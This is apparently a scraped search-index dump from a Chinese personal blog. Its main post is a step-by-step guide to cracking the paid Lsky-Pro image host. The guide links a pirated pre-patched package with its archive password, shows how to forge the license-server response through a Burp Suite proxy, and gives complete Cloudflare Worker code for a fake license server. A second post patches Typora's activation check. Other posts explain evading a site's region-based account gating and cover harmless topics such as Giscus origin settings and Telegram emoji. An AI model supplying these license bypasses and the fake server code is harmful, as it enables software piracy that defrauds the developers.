$uri/ @fallback; } 安装过程 授权密钥随便填直接过\n系统升级已Hook，定死版本\n最终效果\n方案二：手动破解 如果你想自己动手破解，或者需要获取最新版本包体，可以参考此方案。\n注意。如果需要更新新版本，仍然需要有效的授权密钥，否则无法得到新版包体\n下载包体 兰空图床Pro付费版包： https://r2.072103.xyz/lp223.zpaq （解压密码：2x.nz二叉树树）\n破解授权 首先为你的Linux配置一个HTTP代理，指向 Burp Suite（软件自己找）\nexport http_proxy=\u0026#34;http://127.0.0.1:8080\u0026#34; export https_proxy=\u0026#34;http://127.0.0.1:8080\u0026#34; 默认Burp仅拦截请求，不拦截响应，需要手动设置一下\n然后启用拦截\n当你通过官方教程到执行 ./install.sh 的时候\n会要求输入域名和授权密钥，域名填你自己的，否则之后上传的图片的预览地址将会不正确！授权密钥随便填！\n回车，会开始转圈圈\n查看Burp，发现多了一个请求，首先点击放行\n现在出现了响应，并且状态码为401\n响应那块是可以编辑的，用 https://r2.072103.xyz/lsky_success_223.txt 中的内容替换原响应。然后点击放行\n恭喜，通过授权了\n安装完毕后也一样\n38dd52c6e.webp)\n进阶：自建授权服务器 可以通过Cloudflare Worker自建授权。感谢一位不愿透露姓名的小伙伴提供的代码\naddEventListener(\u0026#39;fetch\u0026#39;, event =\u0026gt; { event.respondWith(handleRequest(event.request)); }); async function handleRequest(request) { const jsonContent = `[{\u0026#34;logo\u0026#34;:\u0026#34;products\\\\/lsky-pro.webp\u0026#34;,\u0026#34;name\u0026#34;:\u0026#34;V 2.2.3\u0026#34;,\u0026#34;version\u0026#34;:\u0026#34;2.2.3\u0026#34;,\u0026#34;changelog\u0026#34;:\u0026#34;### \\\\u4f18\\\\u5316\\\\n- \\\\u6539\\\\u8fdb\\\\u76f8\\\\u518c\\\\u5217\\\\u8868\\\\u6837\\\\u5f0f\\\\n\\\\n### \\\\u4fee\\\\u590d\\\\n- \\\\u4fee\\\\u590d\\\\u4f7f\\\\u7528\\\\u624b\\\\u673a\\\\u53f7\\\\u6ce8\\\\u518c\\\\u8d26\\\\u53f7\\\\u8981\\\\u6c42\\\\u8f93\\\\u5165\\\\u90ae\\\\u7bb1\\\\u7684 bug\\\\n- \\\\u4fee\\\\u590d\\\\u72ec\\\\u7acb\\\\u9875\\\\u9762 title \\\\u663e\\\\u793a\\\\u4e0d\\\\u6b63\\\\u786e\\\\u7684 bug\u0026#34;,\u0026#34;pushed_at\u0026#34;:\u0026#34;2025-07-29\u0026#34;,\u0026#34;milestone\u0026#34;:\u0026#34;stable\u0026#34;,\u0026#34;download_url\u0026#34;:\u0026#34;https:\\\\/\\\\/dl.huohuastudio.com\\\\/packages\\\\/products\\\\/lsky-pro\\\\/2.2.3.zip?X-Amz-Content-Sha256=UNSIGNED-PAYLOAD\u0026amp;X-Amz-Algorithm=AWS4-HMAC-SHA256\u0026amp;X-Amz-Credential=d8vF9cr3Wmbu8qHMD3W1%2F20250818%2Fus-west-2%2Fs3%2Faws4_request\u0026amp;X-Amz-Date=20250818T141321Z\u0026amp;X-Amz-SignedHeaders=host\u0026amp;X-Amz-Expires=1800\u0026amp;X-Amz-Signature=40682060b50fa3ee0f520f78418e5f0754277e14e4794f5e283ab4149a6028eb\u0026#34;},{\u0026#34;logo\u0026#34;:\u0026#34;products\\\\/lsky-pro.webp\u0026#34;,\u0026#34;name\u0026#34;:\u0026#34;V 2.2.2\u0026#34;,\u0026#34;version\u0026#34;:\u0026#34;2.2.2\u0026#34;,\u0026#34;changelog\u0026#34;:\u0026#34;### \\\\u65b0\\\\u589e\\\\n- \\\\u540e\\\\u53f0\\\\u7ba1\\\\u7406\\\\u5217\\\\u8868\\\\u589e\\\\u52a0\\\\u8fc7\\\\u6ee4\\\\u5668\\\\n- \\\\u652f\\\\u6301\\\\u8bbe\\\\u7f6e\\\\u9ed8\\\\u8ba4\\\\u4e0a\\\\u4f20\\\\u50a8\\\\u5b58\\\\n- \\\\u652f\\\\u6301\\\\u6279\\\\u91cf\\\\u590d\\\\u5236\\\\u94fe\\\\u63a5\\\\n- \\\\u652f\\\\u6301\\\\u63a7\\\\u5236\\\\u5e7f\\\\u573a\\\\u662f\\\\u5426\\\\u5c55\\\\u793a\\\\n\\\\n### \\\\u4f18\\\\u5316\\\\n- \\\\u6539\\\\u8fdb\\\\u6837\\\\u5f0f\\\\n- \\\\u7f51\\\\u9875 title \\\\u6839\\\\u636e\\\\u5f53\\\\u524d\\\\u83dc\\\\u5355\\\\u663e\\\\u793a\\\\n- \\\\u4eea\\\\u8868\\\\u76d8\\\\u589e\\\\u52a0\\\\u7edf\\\\u8ba1\\\\u5361\\\\u7247\\\\n- \\\\u6539\\\\u8fdb\\\\u5e7f\\\\u573a\\\\u7684\\\\u56fe\\\\u7247\\\\u5217\\\\u8868\\\\u663e\\\\u793a\\\\n\\\\n### \\\\u4fee\\\\u590d\\\\n- \\\\u4fee\\\\u590d\\\\u4f7f\\\\u7528 libvips \\\\u9a71\\\\u52a8\\\\u65f6\\\\u4e91\\\\u5904\\\\u7406\\\\u8f93\\\\u51fa\\\\u56fe\\\\u7247\\\\u8fd8\\\\u662f\\\\u4f7f\\\\u7528 imagick \\\\u5904\\\\u7406\\\\u7684 bug\\\\n- \\\\u4fee\\\\u590d\\\\u56fe\\\\u7247\\\\u5904\\\\u7406\\\\u4e2d\\\\u6c34\\\\u5370\\\\u9009\\\\u62e9\\\\u5e73\\\\u53f0\\\\u540e\\\\u4fdd\\\\u5b58\\\\u63d0\\\\u793a\\\\u9700\\\\u8981\\\\u9009\\\\u62e9\\\\u6c34\\\\u5370\\\\u4f4d\\\\u7f6e\\\\u7684 bug\\\\n- \\\\u4fee\\\\u590d\\\\u5220\\\\... const headers = new Headers({ \u0026#39;Content-Type\u0026#39;: \u0026#39;application/json\u0026#39;, \u0026#39;Content-Length\u0026#39;: \u0026#39;30872\u0026#39;, \u0026#39;Strict-Transport-Security\u0026#39;: \u0026#39;max-age=31536000\u0026#39;, \u0026#39;Alt-Svc\u0026#39;: \u0026#39;h3=\u0026#34;:443\u0026#34;; ma=86400\u0026#39;, \u0026#39;Vary\u0026#39;: \u0026#39;Accept-Encoding\u0026#39;, \u0026#39;Cache-Control\u0026#39;: \u0026#39;max-age=0, must-revalidate, no-cache, no-store, private\u0026#39;, \u0026#39;Pragma\u0026#39;: \u0026#39;no-cache\u0026#39;, \u0026#39;Expires\u0026#39;: \u0026#39;Fri, 01 Jan 1990 00:00:00 GMT\u0026#39;, \u0026#39;Access-Control-Allow-Origin\u0026#39;: \u0026#39;*\u0026#39;, \u0026#39;X-Cache\u0026#39;: \u0026#39;MISS\u0026#39;, \u0026#39;Server\u0026#39;: \u0026#39;WAFPRO\u0026#39; }); // 使用当前日期作为响应日期 const currentDate = new Date().toUTCString(); headers.set(\u0026#39;Date\u0026#39;, currentDate); return new Response(jsonContent, { status: 200, statusText: \u0026#39;OK\u0026#39;, headers: headers }); } 自建结束后将 config/app.php 内的 服务接口地址 改为你的。就不需要每次安装都手动改响应包了\n/** * 服务接口地址 */ \u0026#39;service_api\u0026#39; =\u0026gt; env(\u0026#39;APP_SERVICE_API\u0026#39;, \u0026#39;https://huohuastudio.com\u0026#39;), ","permalink":"https://blog.2x.nz/posts/hack-lskypro/","summary":"\u003cblockquote\u003e\n\u003cp\u003e仅供学习交流，请在下载后24h内删除。体验地址： \u003ca href=\"https://lsky.2x.nz\"\u003ehttps://lsky.2x.nz\u003c/a\u003e\n视频教程： \u003ca href=\"https://www.bilibili.com/video/BV1UieUzQEvq/\"\u003ehttps://www.bilibili.com/video/BV1UieUzQEvq/\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\n\u003ch1 id=\"方案一本地开心版推荐\"\u003e方案一：本地开心版（推荐）\u003c/h1\u003e\n\u003cp\u003e突然发现交付给我的项目是源码，那还逆向什么授权，直接永远返回true呗~\u003c/p\u003e\n\u003ch2 id=\"安装包体\"\u003e安装包体\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"http://r2.072103.xyz/2xnzlskypro223.zpaq\"\u003ehttp://r2.072103.xyz/2xnzlskypro223.zpaq\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://acofork-my.sharepoint.com/:u:/g/personal/af_acofork_onmicrosoft_com/Eenhpe5Kt0RLopi_n6Ud-qMBh6fmDsXKaB8csLIVLu-FEQ?e=Z6QLGn\"\u003eOneDrive - 2xnzlskypro223.zpaq\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e密码： 2xnz二叉树树\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003ezpaq可以使用 \u003ca href=\"https://www.bandisoft.com/bandizip/\"\u003eBandizip 官方网站 - 免费压缩软件下载 (Windows)\u003c/a\u003e 进行解压，旧版不支持\u003c/p\u003e\n\u003ch2 id=\"我们做了什么\"\u003e我们做了什么？\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e安装过程中无论输入授权密钥为任何值直接内部返回true，不再请求授权服务器\u003c/li\u003e\n\u003cli\u003e版本更新不再请求授权服务器，始终返回当前版本为最新版本\u003c/li\u003e\n\u003cli\u003e所有操作不经过授权服务器，全部本地执行\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"环境配置\"\u003e环境配置\u003c/h2\u003e\n\u003cp\u003e自行参考： \u003ca href=\"https://docs.lsky.pro/guide/install\"\u003ehttps://docs.lsky.pro/guide/install\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e推荐使用宝塔面板部署\u003c/strong\u003e，1Panel的容器化PHP好像有点问题\u003c/p\u003e\n\u003cp\u003e如果坚持要用1Panel，推荐使用PHP8.2，出现500，404等状态码问题请自行解决，似乎需要一个特殊的 \u003ccode\u003efallback\u003c/code\u003e 设置。感谢 fishcpy提供的解决方案！这里是他的部署教程： \u003ca href=\"https://linux.do/t/topic/882900\"\u003eAcoFork的兰空图床开心版1panel部署教程 - 福利羊毛 - LINUX DO\u003c/a\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-nginx\" data-lang=\"nginx\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#75715e\"\u003e# 全局 404 交给 @fallback 处理，不强制状态码\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e\u003c/span\u003e    \u003cspan style=\"color:#66d9ef\"\u003eerror_page\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e404\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e@fallback\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003elocation\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e/\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003etry_files\u003c/span\u003e $uri $uri/ \u003cspan style=\"color:#e6db74\"\u003e@fallback\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#75715e\"\u003e# 命名 location：交给 index.php，但不强制 200\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e\u003c/span\u003e    \u003cspan style=\"color:#66d9ef\"\u003elocation\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e@fallback\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003erewrite\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e^\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e/index.php\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003elast\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#75715e\"\u003e# -----------------------------\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e\u003c/span\u003e    \u003cspan style=\"color:#75715e\"\u003e# 特殊路径：/api/v2/ 也走 index.php，但不能强制 200\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e\u003c/span\u003e    \u003cspan style=\"color:#75715e\"\u003e# -----------------------------\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e\u003c/span\u003e    \u003cspan style=\"color:#66d9ef\"\u003elocation\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e^~\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e/api/v2/\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#75715e\"\u003e# 同样使用 @fallback，不强制状态码\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e\u003c/span\u003e        \u003cspan style=\"color:#f92672\"\u003etry_files\u003c/span\u003e $uri $uri/ \u003cspan style=\"color:#e6db74\"\u003e@fallback\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    }\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"安装过程\"\u003e安装过程\u003c/h2\u003e\n\u003cp\u003e授权密钥随便填直接过\u003c/p\u003e","title":"记录破解兰空图床（Lsky-Pro）"},{"content":"进入 Typora 官方中文站\n下载并安装，假设你的安装路径为 D:/App/Typora\n关闭所有Typora相关进程\n用VSCode打开 D:/App/Typora\n全局搜索，将\ne.hasActivated=\u0026#34;true\u0026#34;==e.hasActivated 改为\ne.hasActivated=\u0026#34;true\u0026#34;==“true” 打开 Typora，已激活\n","permalink":"https://blog.2x.nz/posts/hack-typora/","summary":"\u003cp\u003e进入 \u003ca href=\"https://typoraio.cn/\"\u003eTypora 官方中文站\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e下载并安装，假设你的安装路径为 \u003ccode\u003eD:/App/Typora\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e关闭所有Typora相关进程\u003c/p\u003e\n\u003cp\u003e用VSCode打开 \u003ccode\u003eD:/App/Typora\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e全局搜索，将\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ee.hasActivated\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;true\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e==\u003c/span\u003ee.hasActivated\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e改为\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ee.hasActivated\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;true\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e==\u003c/span\u003e“true”\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e打开 Typora，已激活\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/hack-typora/img/2025-08-20-21-08-22-image.webp\"\u003e\u003c/p\u003e","title":"Typora免付费激活"},{"content":"今天偶然找到一个神秘博客，还挺有意思的，于是捐了 100 CNY\n至于是咋找到这个博客的？\n请看VCR\n然后我就发现了这个宝藏博客\n也许是封面图比较吸引人又或是文章内容行云流水十分丰富？\n我不知道，总之我看了下去\n陆陆续续读了不少\n然后发现作者在当前的版本已经完全删除了JavaScript 我有一个朋友天天说HTML表单能替代JS\n也算是引起了共鸣吧\n于情于理都得支持一下\n就到这，我也不知道该写啥了，我是一个喜欢直来直去的人，真文艺不起来了\n","permalink":"https://blog.2x.nz/posts/atpx-fun-blog/","summary":"\u003cp\u003e今天偶然找到一个神秘博客，还挺有意思的，于是捐了 100 CNY\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/atpx-fun-blog/img/2025-08-13-18-48-58-e042214c625c78682e337f4863bdcb20.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e至于是咋找到这个博客的？\u003c/p\u003e\n\u003cp\u003e请看VCR\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/atpx-fun-blog/img/2025-08-13-18-50-12-image.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e然后我就发现了这个宝藏博客\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/atpx-fun-blog/img/2025-08-13-18-50-48-image.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e也许是封面图比较吸引人又或是文章内容行云流水十分丰富？\u003c/p\u003e\n\u003cp\u003e我不知道，总之我看了下去\u003c/p\u003e\n\u003cp\u003e陆陆续续读了不少\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/atpx-fun-blog/img/2025-08-13-18-51-51-image.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e然后发现作者在当前的版本已经完全删除了JavaScript \u003cdel\u003e我有一个朋友天天说HTML表单能替代JS\u003c/del\u003e\u003c/p\u003e\n\u003cp\u003e也算是引起了共鸣吧\u003c/p\u003e\n\u003cp\u003e于情于理都得支持一下\u003c/p\u003e\n\u003cp\u003e就到这，我也不知道该写啥了，我是一个喜欢直来直去的人，真文艺不起来了\u003c/p\u003e","title":"atpx.com 一个有趣的神秘博客"},{"content":"前期准备 欧美家宽IP。可以前往 https://2x.nz/ak 买一个 正式开始 挂上你的美国家宽梯子\n进入 E-Hentai Forums\n点击 Register\n注册邮箱使用 gmail.com\nexhentai能不能进是账号创建的时候就决定的！一定要让平台认为你是美国家宽用户！\n注册完毕后等大约一周（我是 2025-08-03注册的，2025-08-12已经可以进了），期间想干什么就干什么\n一周之后，使用 浏览器的无痕模式+英语界面 再次进入 E-Hentai Forums 登录\n然后前往 https://exhentai.org/\n不出意外，成功进来\n接下来F12打开控制台\n保存Ck以便日后登录（就无需那个傻逼美国家宽了）\n","permalink":"https://blog.2x.nz/posts/exhentai/","summary":"\u003ch1 id=\"前期准备\"\u003e前期准备\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003e欧美家宽IP。可以前往 \u003ca href=\"https://2x.nz/ak\"\u003ehttps://2x.nz/ak\u003c/a\u003e 买一个\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/exhentai/img/2025-08-12-19-24-21-image.webp\"\u003e\u003c/p\u003e\n\u003ch1 id=\"正式开始\"\u003e正式开始\u003c/h1\u003e\n\u003cp\u003e挂上你的美国家宽梯子\u003c/p\u003e\n\u003cp\u003e进入 \u003ca href=\"https://forums.e-hentai.org/\"\u003eE-Hentai Forums\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e点击 \u003ccode\u003eRegister\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/exhentai/img/2025-08-12-19-26-33-image.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e注册邮箱使用 \u003ccode\u003egmail.com\u003c/code\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eexhentai能不能进是账号创建的时候就决定的！一定要让平台认为你是美国家宽用户！\u003c/p\u003e\u003c/blockquote\u003e\n\u003cp\u003e注册完毕后等大约一周（我是 2025-08-03注册的，2025-08-12已经可以进了），期间想干什么就干什么\u003c/p\u003e\n\u003cp\u003e一周之后，使用 \u003cstrong\u003e浏览器的无痕模式+英语界面\u003c/strong\u003e 再次进入 \u003ca href=\"https://forums.e-hentai.org/\"\u003eE-Hentai Forums\u003c/a\u003e 登录\u003c/p\u003e\n\u003cp\u003e然后前往 \u003ca href=\"https://exhentai.org/\"\u003ehttps://exhentai.org/\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e不出意外，成功进来\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/exhentai/img/2025-08-12-19-29-10-image.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e接下来F12打开控制台\u003c/p\u003e\n\u003cp\u003e保存Ck以便日后登录（就无需那个傻逼美国家宽了）\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/exhentai/img/2025-08-12-19-30-42-image.webp\"\u003e\u003c/p\u003e","title":"手把手教你进入e站里站（exhentai.org）"},{"content":"前情提要 今天收到一封小邮件\n我一眼就看出来了\n有人Fork完我的仓库但是Giscus评论区没改成自己的。\nGiscus仅允许自己 在启用了Giscus的仓库放一个文件\n\u0026lt;!-- giscus.json --\u0026gt; { \u0026#34;origins\u0026#34;: [\u0026#34;https://2x.nz\u0026#34;] } 这样设置后，即使有人在它的网站上引入了你的评论区，也会被拒绝显示\nUmami仅允许自己 我博客有一个浏览量统计，基于Umami，之前是没鉴权的，如果你啥也不改，访问你的网站也会记到我网站上😅\nUmami并没有给配置来更改CORS（毕竟这个访问量统计是我逆向出来的）\n但是我的Umami套了EO，我可以直接写一套CORS规则仅允许自己调用\n这样的话，即使你啥也不改，也不会把错误的统计信息发到我这，会报错CORS头不允许\n最后 开源是为了让大家更好的学习我的博客框架，不是让你照搬，请确认将所有内容、API端点、私有服务全部改为自己的后再上线！\n你要是懒可以Fork上游原仓库从白纸开始改\n","permalink":"https://blog.2x.nz/posts/you-is-me-huh/","summary":"\u003ch1 id=\"前情提要\"\u003e前情提要\u003c/h1\u003e\n\u003cp\u003e今天收到一封小邮件\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/you-is-me-huh/img/2025-08-12-15-45-18-image.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e我一眼就看出来了\u003c/p\u003e\n\u003cp\u003e有人Fork完我的仓库但是Giscus评论区没改成自己的。\u003c/p\u003e\n\u003ch1 id=\"giscus仅允许自己\"\u003eGiscus仅允许自己\u003c/h1\u003e\n\u003cp\u003e在启用了Giscus的仓库放一个文件\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-json\" data-lang=\"json\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e\u0026lt;!--\u003c/span\u003e \u003cspan style=\"color:#960050;background-color:#1e0010\"\u003egiscus.json\u003c/span\u003e \u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e--\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e{\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003e\u0026#34;origins\u0026#34;\u003c/span\u003e: [\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;https://2x.nz\u0026#34;\u003c/span\u003e]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e这样设置后，即使有人在它的网站上引入了\u003cstrong\u003e你的评论区\u003c/strong\u003e，也会被拒绝显示\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/you-is-me-huh/img/2025-08-12-15-48-23-image.webp\"\u003e\u003c/p\u003e\n\u003ch1 id=\"umami仅允许自己\"\u003eUmami仅允许自己\u003c/h1\u003e\n\u003cp\u003e我博客有一个浏览量统计，基于Umami，之前是没鉴权的，如果你啥也不改，访问你的网站也会记到我网站上😅\u003c/p\u003e\n\u003cp\u003eUmami并没有给配置来更改CORS（毕竟这个访问量统计是我逆向出来的）\u003c/p\u003e\n\u003cp\u003e但是我的Umami套了EO，我可以直接写一套CORS规则仅允许自己调用\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/you-is-me-huh/img/2025-08-12-15-50-25-image.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e这样的话，即使你啥也不改，也不会把错误的统计信息发到我这，会报错CORS头不允许\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/you-is-me-huh/img/2025-08-12-15-51-04-image.webp\"\u003e\u003c/p\u003e\n\u003ch1 id=\"最后\"\u003e最后\u003c/h1\u003e\n\u003cp\u003e开源是为了让大家更好的学习我的博客框架，不是让你照搬，请确认将所有内容、API端点、私有服务全部改为自己的后再上线！\u003c/p\u003e\n\u003cp\u003e你要是懒可以Fork\u003ca href=\"https://github.com/saicaca/fuwari\"\u003e上游原仓库\u003c/a\u003e从白纸开始\u003ca href=\"/posts/fuwari/\"\u003e改\u003c/a\u003e\u003c/p\u003e","title":"你是我吗？"},{"content":"正式开始 本文讲述的是添加TG的Emoji，不是贴纸！！！\n准备若干张 PNG或WEBP，100x100 px的图片\n然后找到 @Stickers\n发送 /newemojipack\n这里使用静态表情，即 static\n接下来随便起个名字，我这里就叫 Logo\n然后发送你的图片\n接下来发送一个能代表你表情的Emoji，并且发布\n然后设置一个 pathname\n点击上面的链接就可以添加咯~\n如果你是Telegram Premium，还可以挂在昵称旁边哦~\n","permalink":"https://blog.2x.nz/posts/tg-emoji/","summary":"\u003ch1 id=\"正式开始\"\u003e正式开始\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003e本文讲述的是添加TG的Emoji，不是贴纸！！！\u003c/p\u003e\u003c/blockquote\u003e\n\u003cp\u003e准备若干张 PNG或WEBP，100x100 px的图片\u003c/p\u003e\n\u003cp\u003e然后找到 @Stickers\u003c/p\u003e\n\u003cp\u003e发送 \u003ccode\u003e/newemojipack\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/tg-emoji/img/2025-08-11-21-28-30-image.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e这里使用静态表情，即 \u003ccode\u003estatic\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/tg-emoji/img/2025-08-11-21-28-53-image.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e接下来随便起个名字，我这里就叫 \u003ccode\u003eLogo\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e然后发送你的图片\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/tg-emoji/img/2025-08-11-21-29-20-image.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e接下来发送一个能代表你表情的Emoji，并且发布\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/tg-emoji/img/2025-08-11-21-30-19-image.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e然后设置一个 \u003ccode\u003epathname\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/tg-emoji/img/2025-08-11-21-30-37-image.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e点击上面的链接就可以添加咯~\u003c/p\u003e\n\u003cp\u003e如果你是Telegram Premium，还可以挂在昵称旁边哦~\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/tg-emoji/img/2025-08-11-21-31-21-image.webp\"\u003e\u003c/p\u003e","title":"教你制作自己的Telegram Emoji！"},{"content":"这是啥？ 这是一篇Folo认证文章，用于认证本RSS归属于我\nZola：\nThis message is used to verify that this feed (feedId:154118531036739584) belongs to me 